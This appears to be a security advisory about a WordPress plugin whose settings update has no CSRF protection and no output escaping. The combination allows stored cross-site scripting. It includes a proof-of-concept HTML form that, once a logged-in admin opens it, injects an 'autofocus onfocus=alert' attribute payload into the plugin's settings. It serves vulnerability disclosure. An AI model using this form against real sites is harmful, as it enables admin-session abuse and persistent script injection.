The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. Furthermore, due to the lack of escaping, it could also lead to Stored Cross-Site Scripting issue
Make a logged in admin open a page containing the HTML code below <form action="https://example.com/wp-admin/admin.php?page=3dady" method="POST"> <input type="text" name="dady_submit_hidden" value="Y"> <input type="text" name="dady_input_text" value='" autofocus onfocus=alert(/XSS/)>'> <input type="text" name="mth_submit_hidden" value="Y"> <input type="text" name="dady2_input_text" value='XSS2'> <input type="submit" name="submit" value="Save+Changes"> </form>
2022-09-23 (about 4 months ago)
2022-09-27 (about 4 months ago)
2022-09-27 (about 4 months ago)